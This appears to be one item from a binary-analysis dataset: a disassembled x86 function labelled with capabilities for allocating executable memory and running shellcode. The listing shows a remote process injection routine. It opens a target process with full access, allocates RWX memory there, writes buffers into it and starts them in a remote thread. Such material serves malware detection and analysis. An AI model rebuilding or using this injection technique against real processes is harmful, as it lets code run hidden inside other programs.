Function at 0x10007005
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], esp
push dword [ebp + 8]
push 0
push 0x1f0fff
xor eax, eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
nop
nop
cmp dword [ebp - 0x2c], esp
je 0x1000708a
push 0x19
push 0x401194e
push 6
call fcn.1001ee16
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100070a1
mov eax, 0
jmp 0x1000752a
mov eax, 0x100e9225
xor ecx, ecx
test eax, eax
je 0x100070af
mov ecx, dword [eax + 4]
push ecx
add eax, 8
push eax
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
xor ebx, ebx
test eax, eax
je 0x100070c2
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x100070d9
dec eax
test ecx, ecx
je 0x100070d9
call fcn.10002f58
add esp, 0xc
test eax, eax
je 0x10007115
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
je 0x10007100
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.1001ee28
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10007111
push ebx
call fcn.1001ee2e
add esp, 4
pop eax
mov dword [ebp - 8], eax
push SysStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x10007128
mov eax, 0x100e9225
push eax
push 1
mov ebx, 0x194
call fcn.10020e30
add esp, 0x10
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x2c], esp
push 0x40
push 0x1000
push dword [ebp - 0xc]
push 0
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
nop
nop
cmp dword [ebp - 0x2c], esp
je 0x1000717c
push 0x13c
push 0x401194e
push 6
call fcn.1001ee16
add esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x100071bf
mov dword [ebp - 0x2c], esp
push dword [ebp - 4]
xor eax, eax
call dword [0x100f88f2]
nop
nop
cmp dword [ebp - 0x2c], esp
je 0x100071b5
push 0x1a7
push 0x401194e
push 6
call fcn.1001ee16
add esp, 0xc
mov eax, 0
jmp 0x1000752a
mov dword [ebp - 0x2c], esp
mov eax, 0
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0xc]
mov eax, dword [ebp - 8]
test eax, eax
je 0x100071db
add eax, 8
push eax
push dword [ebp - 0x10]
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
nop
cmp dword [ebp - 0x2c], esp
je 0x10007208
push 0x1d9
push 0x401194e
push 6
call fcn.1001ee16
add esp, 0xc
mov eax, 0x100f64a4
test eax, eax
je 0x10007224
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.1001ee28
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x10007235
push ebx
call fcn.1001ee2e
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
push SysStringLen
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1000724c
mov eax, 0x100e9225
push eax
push 1
mov ebx, 0x194
call fcn.10020e30
add esp, 0x10
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], esp
push 0x40
push 0x1000
push dword [ebp - 0x2c]
push 0
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x100072a0
push 0x29b
push 0x401194e
push 6
call fcn.1001ee16
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x100072e3
mov dword [ebp - 0x2c], esp
push dword [ebp - 4]
xor eax, eax
call dword [0x100f88f2]
nop
nop
cmp dword [ebp - 0x2c], esp
je 0x100072d9
push 0x2f7
push 0x401194e
push 6
call fcn.1001ee16
add esp, 0xc
mov eax, 0
jmp 0x1000752a
push SysStringLen
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100072f6
mov eax, 0x100e9225
push eax
push 1
mov ebx, 0x194
call fcn.10020e30
add esp, 0x10
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], esp
mov eax, 0
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x10007328
add eax, 8
push eax
push dword [ebp - 0x18]
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x10007355
push 0x350
push 0x401194e
push 6
call fcn.1001ee16
add esp, 0xc
push SysStringLen
push 0
push 0x100f71a9
push 1
mov ebx, 0x194
call fcn.10020e30
add esp, 0x10
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x18]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fild dword [ebp - 0x2c]
fstp qword [ebp - 0x3c]
fadd qword [ebp - 0x3c]
fstp qword [ebp - 0x44]
fld qword [ebp - 0x44]
call fcn.100030ed
mov dword [ebp - 0x1c], eax
push SysStringLen
push 0
push 0x100f7a09
push 1
mov ebx, 0x194
call fcn.10020e30
add esp, 0x10
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x1c]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fild dword [ebp - 0x2c]
fstp qword [ebp - 0x3c]
fadd qword [ebp - 0x3c]
fstp qword [ebp - 0x44]
fld qword [ebp - 0x44]
call fcn.100030ed
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x2c], esp
mov eax, 0
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
push 0
push dword [ebp - 0x10]
push dword [ebp - 0x18]
push 0
push 0
push dword [ebp - 4]
xor eax, eax
call dword [0x100f8916]
nop
nop
cmp dword [ebp - 0x2c], esp
je 0x10007424
push 0x44b
push 0x401194e
push 6
call fcn.1001ee16
add esp, 0xc
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x2c], esp
push 0xffffffff
push dword [ebp - 0x24]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
nop
cmp dword [ebp - 0x2c], esp
je 0x10007458
push 0x4ab
push 0x401194e
push 6
call fcn.1001ee16
add esp, 0xc
mov dword [ebp - 0x2c], esp
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x24]
xor eax, eax
call dword [0x100f891a]
nop
nop
cmp dword [ebp - 0x2c], esp
je 0x10007488
push 0x4ca
push 0x401194e
push 6
call fcn.1001ee16
add esp, 0xc
cmp dword [ebp - 0x24], 0
jne 0x100074c8
mov dword [ebp - 0x2c], esp
push dword [ebp - 4]
xor eax, eax
call dword [0x100f88f2]
nop
nop
cmp dword [ebp - 0x2c], esp
je 0x100074be
push 0x521
push 0x401194e
push 6
call fcn.1001ee16
add esp, 0xc
mov eax, 0
jmp 0x1000752a
mov dword [ebp - 0x2c], esp
push dword [ebp - 0x24]
xor eax, eax
call dword [0x100f88f2]
nop
nop
cmp dword [ebp - 0x2c], esp
je 0x100074f4
push 0x566
push 0x401194e
push 6
call fcn.1001ee16
add esp, 0xc
mov dword [ebp - 0x2c], esp
push dword [ebp - 4]
xor eax, eax
call dword [0x100f88f2]
nop
nop
cmp dword [ebp - 0x2c], esp
je 0x10007520
push 0x580
push 0x401194e
push 6
call fcn.1001ee16
add esp, 0xc
mov eax, 1
jmp 0x1000752a
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x1000753b
push ebx
call fcn.1001ee2e
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x1000754b
push ebx
call fcn.1001ee2e
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0xc